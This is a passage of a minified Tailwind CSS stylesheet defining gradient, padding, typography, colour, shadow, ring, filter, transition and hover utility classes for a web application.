oklab;background-image:linear-gradient(var(--tw-gradient-stops))}.from-\[\#0f2137\]{--tw-gradient-from:#0f2137;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-\[\#00CED1\]{--tw-gradient-from:#00ced1;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-\[\#38bdac\]\/10{--tw-gradient-from:oklab(72.378% -.11483 -.0053193/.1);--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-blue-500\/20{--tw-gradient-from:#3080ff33}@supports (color:color-mix(in lab,red,red)){.from-blue-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.from-blue-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-cyan-500\/20{--tw-gradient-from:#00b7d733}@supports (color:color-mix(in lab,red,red)){.from-cyan-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-cyan-500)20%,transparent)}}.from-cyan-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-green-500\/20{--tw-gradient-from:#00c75833}@supports (color:color-mix(in lab,red,red)){.from-green-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.from-green-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-purple-500\/20{--tw-gradient-from:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.from-purple-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.from-purple-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.from-yellow-500\/20{--tw-gradient-from:#edb20033}@supports (color:color-mix(in lab,red,red)){.from-yellow-500\/20{--tw-gradient-from:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.from-yellow-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.via-\[\#38bdac\]\/30{--tw-gradient-via:oklab(72.378% -.11483 -.0053193/.3);--tw-gradient-via-stops:var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-via)var(--tw-gradient-via-position),var(--tw-gradient-to)var(--tw-gradient-to-position);--tw-gradient-stops:var(--tw-gradient-via-stops)}.to-\[\#0f2137\]{--tw-gradient-to:#0f2137;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-\[\#20B2AA\]{--tw-gradient-to:#20b2aa;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-\[\#162d4a\]{--tw-gradient-to:#162d4a;--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-amber-500\/20{--tw-gradient-to:#f99c0033}@supports (color:color-mix(in lab,red,red)){.to-amber-500\/20{--tw-gradient-to:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.to-amber-500\/20{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-cyan-500\/5{--tw-gradient-to:#00b7d70d}@supports (color:color-mix(in lab,red,red)){.to-cyan-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-cyan-500)5%,transparent)}}.to-cyan-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-green-500\/5{--tw-gradient-to:#00c7580d}@supports (color:color-mix(in lab,red,red)){.to-green-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-green-500)5%,transparent)}}.to-green-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-purple-500\/5{--tw-gradient-to:#ac4bff0d}@supports (color:color-mix(in lab,red,red)){.to-purple-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-purple-500)5%,transparent)}}.to-purple-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.to-yellow-500\/5{--tw-gradient-to:#edb2000d}@supports (color:color-mix(in lab,red,red)){.to-yellow-500\/5{--tw-gradient-to:color-mix(in oklab,var(--color-yellow-500)5%,transparent)}}.to-yellow-500\/5{--tw-gradient-stops:var(--tw-gradient-via-stops,var(--tw-gradient-position),var(--tw-gradient-from)var(--tw-gradient-from-position),var(--tw-gradient-to)var(--tw-gradient-to-position))}.bg-repeat{background-repeat:repeat}.mask-no-clip{-webkit-mask-clip:no-clip;mask-clip:no-clip}.mask-repeat{-webkit-mask-repeat:repeat;mask-repeat:repeat}.fill-amber-400{fill:var(--color-amber-400)}.fill-current{fill:currentColor}.object-cover{object-fit:cover}.p-0{padding:calc(var(--spacing)*0)}.p-1{padding:calc(var(--spacing)*1)}.p-2{padding:calc(var(--spacing)*2)}.p-2\.5{padding:calc(var(--spacing)*2.5)}.p-3{padding:calc(var(--spacing)*3)}.p-4{padding:calc(var(--spacing)*4)}.p-5{padding:calc(var(--spacing)*5)}.p-6{padding:calc(var(--spacing)*6)}.p-8{padding:calc(var(--spacing)*8)}.px-0{padding-inline:calc(var(--spacing)*0)}.px-1{padding-inline:calc(var(--spacing)*1)}.px-1\.5{padding-inline:calc(var(--spacing)*1.5)}.px-2{padding-inline:calc(var(--spacing)*2)}.px-3{padding-inline:calc(var(--spacing)*3)}.px-4{padding-inline:calc(var(--spacing)*4)}.px-5{padding-inline:calc(var(--spacing)*5)}.px-6{padding-inline:calc(var(--spacing)*6)}.py-0\.5{padding-block:calc(var(--spacing)*.5)}.py-1{padding-block:calc(var(--spacing)*1)}.py-1\.5{padding-block:calc(var(--spacing)*1.5)}.py-2{padding-block:calc(var(--spacing)*2)}.py-2\.5{padding-block:calc(var(--spacing)*2.5)}.py-3{padding-block:calc(var(--spacing)*3)}.py-4{padding-block:calc(var(--spacing)*4)}.py-5{padding-block:calc(var(--spacing)*5)}.py-6{padding-block:calc(var(--spacing)*6)}.py-8{padding-block:calc(var(--spacing)*8)}.py-10{padding-block:calc(var(--spacing)*10)}.py-12{padding-block:calc(var(--spacing)*12)}.py-16{padding-block:calc(var(--spacing)*16)}.py-20{padding-block:calc(var(--spacing)*20)}.pt-0{padding-top:calc(var(--spacing)*0)}.pt-1{padding-top:calc(var(--spacing)*1)}.pt-2{padding-top:calc(var(--spacing)*2)}.pt-3{padding-top:calc(var(--spacing)*3)}.pt-4{padding-top:calc(var(--spacing)*4)}.pt-5{padding-top:calc(var(--spacing)*5)}.pt-6{padding-top:calc(var(--spacing)*6)}.pr-1{padding-right:calc(var(--spacing)*1)}.pr-2{padding-right:calc(var(--spacing)*2)}.pr-4{padding-right:calc(var(--spacing)*4)}.pb-1{padding-bottom:calc(var(--spacing)*1)}.pb-2{padding-bottom:calc(var(--spacing)*2)}.pb-3{padding-bottom:calc(var(--spacing)*3)}.pb-4{padding-bottom:calc(var(--spacing)*4)}.pl-2{padding-left:calc(var(--spacing)*2)}.pl-4{padding-left:calc(var(--spacing)*4)}.pl-8{padding-left:calc(var(--spacing)*8)}.pl-10{padding-left:calc(var(--spacing)*10)}.text-center{text-align:center}.text-left{text-align:left}.text-right{text-align:right}.align-middle{vertical-align:middle}.font-mono{font-family:var(--font-mono)}.text-2xl{font-size:var(--text-2xl);line-height:var(--tw-leading,var(--text-2xl--line-height))}.text-3xl{font-size:var(--text-3xl);line-height:var(--tw-leading,var(--text-3xl--line-height))}.text-4xl{font-size:var(--text-4xl);line-height:var(--tw-leading,var(--text-4xl--line-height))}.text-base{font-size:var(--text-base);line-height:var(--tw-leading,var(--text-base--line-height))}.text-lg{font-size:var(--text-lg);line-height:var(--tw-leading,var(--text-lg--line-height))}.text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}.text-xl{font-size:var(--text-xl);line-height:var(--tw-leading,var(--text-xl--line-height))}.text-xs{font-size:var(--text-xs);line-height:var(--tw-leading,var(--text-xs--line-height))}.text-\[10px\]{font-size:10px}.text-\[11px\]{font-size:11px}.leading-6{--tw-leading:calc(var(--spacing)*6);line-height:calc(var(--spacing)*6)}.leading-none{--tw-leading:1;line-height:1}.leading-relaxed{--tw-leading:var(--leading-relaxed);line-height:var(--leading-relaxed)}.leading-tight{--tw-leading:var(--leading-tight);line-height:var(--leading-tight)}.font-bold{--tw-font-weight:var(--font-weight-bold);font-weight:var(--font-weight-bold)}.font-medium{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.font-normal{--tw-font-weight:var(--font-weight-normal);font-weight:var(--font-weight-normal)}.font-semibold{--tw-font-weight:var(--font-weight-semibold);font-weight:var(--font-weight-semibold)}.tracking-tight{--tw-tracking:var(--tracking-tight);letter-spacing:var(--tracking-tight)}.tracking-wider{--tw-tracking:var(--tracking-wider);letter-spacing:var(--tracking-wider)}.text-wrap{text-wrap:wrap}.break-words{overflow-wrap:break-word}.break-all{word-break:break-all}.text-clip{text-overflow:clip}.text-ellipsis{text-overflow:ellipsis}.whitespace-nowrap{white-space:nowrap}.whitespace-pre-wrap{white-space:pre-wrap}.text-\[\#00CED1\]{color:#00ced1}.text-\[\#07C160\]{color:#07c160}.text-\[\#07C160\]\/60{color:#07c16099}.text-\[\#07C160\]\/70{color:#07c160b3}.text-\[\#07C160\]\/80{color:#07c160cc}.text-\[\#26A17B\]{color:#26a17b}.text-\[\#38bdac\]{color:#38bdac}.text-\[\#38bdac\]\/30{color:#38bdac4d}.text-\[\#38bdac\]\/40{color:#38bdac66}.text-\[\#169BD7\]{color:#169bd7}.text-\[\#1677FF\]{color:#1677ff}.text-\[\#FFD700\]{color:gold}.text-amber-200{color:var(--color-amber-200)}.text-amber-200\/80{color:#fee685cc}@supports (color:color-mix(in lab,red,red)){.text-amber-200\/80{color:color-mix(in oklab,var(--color-amber-200)80%,transparent)}}.text-amber-300{color:var(--color-amber-300)}.text-amber-400{color:var(--color-amber-400)}.text-amber-400\/30{color:#fcbb004d}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/30{color:color-mix(in oklab,var(--color-amber-400)30%,transparent)}}.text-amber-400\/80{color:#fcbb00cc}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/80{color:color-mix(in oklab,var(--color-amber-400)80%,transparent)}}.text-amber-400\/90{color:#fcbb00e6}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/90{color:color-mix(in oklab,var(--color-amber-400)90%,transparent)}}.text-black{color:var(--color-black)}.text-blue-300{color:var(--color-blue-300)}.text-blue-300\/60{color:#90c5ff99}@supports (color:color-mix(in lab,red,red)){.text-blue-300\/60{color:color-mix(in oklab,var(--color-blue-300)60%,transparent)}}.text-blue-400{color:var(--color-blue-400)}.text-blue-400\/60{color:#54a2ff99}@supports (color:color-mix(in lab,red,red)){.text-blue-400\/60{color:color-mix(in oklab,var(--color-blue-400)60%,transparent)}}.text-cyan-400{color:var(--color-cyan-400)}.text-emerald-400{color:var(--color-emerald-400)}.text-gray-200{color:var(--color-gray-200)}.text-gray-300{color:var(--color-gray-300)}.text-gray-400{color:var(--color-gray-400)}.text-gray-500{color:var(--color-gray-500)}.text-gray-600{color:var(--color-gray-600)}.text-gray-700{color:var(--color-gray-700)}.text-green-300{color:var(--color-green-300)}.text-green-400{color:var(--color-green-400)}.text-green-400\/90{color:#05df72e6}@supports (color:color-mix(in lab,red,red)){.text-green-400\/90{color:color-mix(in oklab,var(--color-green-400)90%,transparent)}}.text-green-500{color:var(--color-green-500)}.text-orange-300{color:var(--color-orange-300)}.text-orange-300\/60{color:#ffb96d99}@supports (color:color-mix(in lab,red,red)){.text-orange-300\/60{color:color-mix(in oklab,var(--color-orange-300)60%,transparent)}}.text-orange-400{color:var(--color-orange-400)}.text-orange-400\/60{color:#ff8b1a99}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/60{color:color-mix(in oklab,var(--color-orange-400)60%,transparent)}}.text-orange-400\/70{color:#ff8b1ab3}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/70{color:color-mix(in oklab,var(--color-orange-400)70%,transparent)}}.text-orange-400\/80{color:#ff8b1acc}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/80{color:color-mix(in oklab,var(--color-orange-400)80%,transparent)}}.text-purple-400{color:var(--color-purple-400)}.text-red-100{color:var(--color-red-100)}.text-red-300{color:var(--color-red-300)}.text-red-400{color:var(--color-red-400)}.text-rose-400{color:var(--color-rose-400)}.text-sky-300{color:var(--color-sky-300)}.text-white{color:var(--color-white)}.text-white\/40{color:#fff6}@supports (color:color-mix(in lab,red,red)){.text-white\/40{color:color-mix(in oklab,var(--color-white)40%,transparent)}}.text-white\/60{color:#fff9}@supports (color:color-mix(in lab,red,red)){.text-white\/60{color:color-mix(in oklab,var(--color-white)60%,transparent)}}.text-white\/70{color:#ffffffb3}@supports (color:color-mix(in lab,red,red)){.text-white\/70{color:color-mix(in oklab,var(--color-white)70%,transparent)}}.text-white\/80{color:#fffc}@supports (color:color-mix(in lab,red,red)){.text-white\/80{color:color-mix(in oklab,var(--color-white)80%,transparent)}}.text-yellow-400{color:var(--color-yellow-400)}.text-yellow-400\/60{color:#fac80099}@supports (color:color-mix(in lab,red,red)){.text-yellow-400\/60{color:color-mix(in oklab,var(--color-yellow-400)60%,transparent)}}.text-yellow-500\/70{color:#edb200b3}@supports (color:color-mix(in lab,red,red)){.text-yellow-500\/70{color:color-mix(in oklab,var(--color-yellow-500)70%,transparent)}}.capitalize{text-transform:capitalize}.lowercase{text-transform:lowercase}.normal-case{text-transform:none}.uppercase{text-transform:uppercase}.italic{font-style:italic}.italic\!{font-style:italic!important}.not-italic{font-style:normal}.diagonal-fractions{--tw-numeric-fraction:diagonal-fractions;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.lining-nums{--tw-numeric-figure:lining-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.oldstyle-nums{--tw-numeric-figure:oldstyle-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.ordinal{--tw-ordinal:ordinal;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.proportional-nums{--tw-numeric-spacing:proportional-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.slashed-zero{--tw-slashed-zero:slashed-zero;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.stacked-fractions{--tw-numeric-fraction:stacked-fractions;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.tabular-nums{--tw-numeric-spacing:tabular-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.normal-nums{font-variant-numeric:normal}.line-through{text-decoration-line:line-through}.no-underline{text-decoration-line:none}.overline{text-decoration-line:overline}.underline{text-decoration-line:underline}.underline\!{text-decoration-line:underline!important}.underline-offset-4{text-underline-offset:4px}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.subpixel-antialiased{-webkit-font-smoothing:auto;-moz-osx-font-smoothing:auto}.accent-\[\#38bdac\]{accent-color:#38bdac}.opacity-0{opacity:0}.opacity-50{opacity:.5}.opacity-55{opacity:.55}.opacity-60{opacity:.6}.opacity-70{opacity:.7}.shadow{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-lg{--tw-shadow:0 10px 15px -3px var(--tw-shadow-color,#0000001a),0 4px 6px -4px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-md{--tw-shadow:0 4px 6px -1px var(--tw-shadow-color,#0000001a),0 2px 4px -2px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-sm{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-xl{--tw-shadow:0 20px 25px -5px var(--tw-shadow-color,#0000001a),0 8px 10px -6px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-xs{--tw-shadow:0 1px 2px 0 var(--tw-shadow-color,#0000000d);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-0{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(0px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-1{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(1px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-2{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.inset-ring{--tw-inset-ring-shadow:inset 0 0 0 1px var(--tw-inset-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-\[\#38bdac\]\/20{--tw-shadow-color:#38bdac33}@supports (color:color-mix(in lab,red,red)){.shadow-\[\#38bdac\]\/20{--tw-shadow-color:color-mix(in oklab,oklab(72.378% -.11483 -.0053193/.2) var(--tw-shadow-alpha),transparent)}}.shadow-\[\#38bdac\]\/30{--tw-shadow-color:#38bdac4d}@supports (color:color-mix(in lab,red,red)){.shadow-\[\#38bdac\]\/30{--tw-shadow-color:color-mix(in oklab,oklab(72.378% -.11483 -.0053193/.3) var(--tw-shadow-alpha),transparent)}}.ring-\[\#38bdac\]{--tw-ring-color:#38bdac}.ring-\[\#38bdac\]\/40{--tw-ring-color:oklab(72.378% -.11483 -.0053193/.4)}.ring-\[\#38bdac\]\/50{--tw-ring-color:oklab(72.378% -.11483 -.0053193/.5)}.outline{outline-style:var(--tw-outline-style);outline-width:1px}.blur{--tw-blur:blur(8px);filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.blur-3xl{--tw-blur:blur(var(--blur-3xl));filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.drop-shadow{--tw-drop-shadow-size:drop-shadow(0 1px 2px var(--tw-drop-shadow-color,#0000001a))drop-shadow(0 1px 1px var(--tw-drop-shadow-color,#0000000f));--tw-drop-shadow:drop-shadow(0 1px 2px #0000001a)drop-shadow(0 1px 1px #0000000f);filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.filter{filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.filter\!{filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)!important}.backdrop-blur{--tw-backdrop-blur:blur(8px);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-blur-xl{--tw-backdrop-blur:blur(var(--blur-xl));-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-grayscale{--tw-backdrop-grayscale:grayscale(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-invert{--tw-backdrop-invert:invert(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-sepia{--tw-backdrop-sepia:sepia(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-filter{-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.transition{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to,opacity,box-shadow,transform,translate,scale,rotate,filter,-webkit-backdrop-filter,backdrop-filter,display,content-visibility,overlay,pointer-events;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition\!{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to,opacity,box-shadow,transform,translate,scale,rotate,filter,-webkit-backdrop-filter,backdrop-filter,display,content-visibility,overlay,pointer-events!important;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function))!important;transition-duration:var(--tw-duration,var(--default-transition-duration))!important}.transition-all{transition-property:all;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-colors{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-opacity{transition-property:opacity;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-transform{transition-property:transform,translate,scale,rotate;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.duration-200{--tw-duration:.2s;transition-duration:.2s}.outline-none{--tw-outline-style:none;outline-style:none}.select-none{-webkit-user-select:none;user-select:none}:where(.divide-x-reverse>:not(:last-child)){--tw-divide-x-reverse:1}.ring-inset{--tw-ring-inset:inset}@media(hover:hover){.group-hover\:text-\[\#38bdac\]:is(:where(.group):hover *){color:#38bdac}.group-hover\:text-gray-400:is(:where(.group):hover *){color:var(--color-gray-400)}.group-hover\:opacity-100:is(:where(.group):hover *){opacity:1}}.peer-disabled\:cursor-not-allowed:is(:where(.peer):disabled~*){cursor:not-allowed}.peer-disabled\:opacity-70:is(:where(.peer):disabled~*){opacity:.7}.placeholder\:text-gray-500::placeholder{color:var(--color-gray-500)}.last\:border-b-0:last-child{border-bottom-style:var(--tw-border-style);border-bottom-width:0}@media(hover:hover){.hover\:border-\[\#38bdac\]\/30:hover{border-color:#38bdac4d}.hover\:border-\[\#38bdac\]\/50:hover{border-color:#38bdac80}.hover\:border-\[\#38bdac\]\/60:hover{border-color:#38bdac99}.hover\:border-\[\#38bdac\]\/70:hover{border-color:#38bdacb3}.hover\:border-blue-500\/60:hover{border-color:#3080ff99}@supports (color:color-mix(in lab,red,red)){.hover\:border-blue-500\/60:hover{border-color:color-mix(in oklab,var(--color-blue-500)60%,transparent)}}.hover\:border-gray-500:hover{border-color:var(--color-gray-500)}.hover\:border-gray-600:hover{border-color:var(--color-gray-600)}.hover\:border-orange-500\/50:hover{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.hover\:border-orange-500\/50:hover{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.hover\:border-yellow-500\/60:hover{border-color:#edb20099}@supports 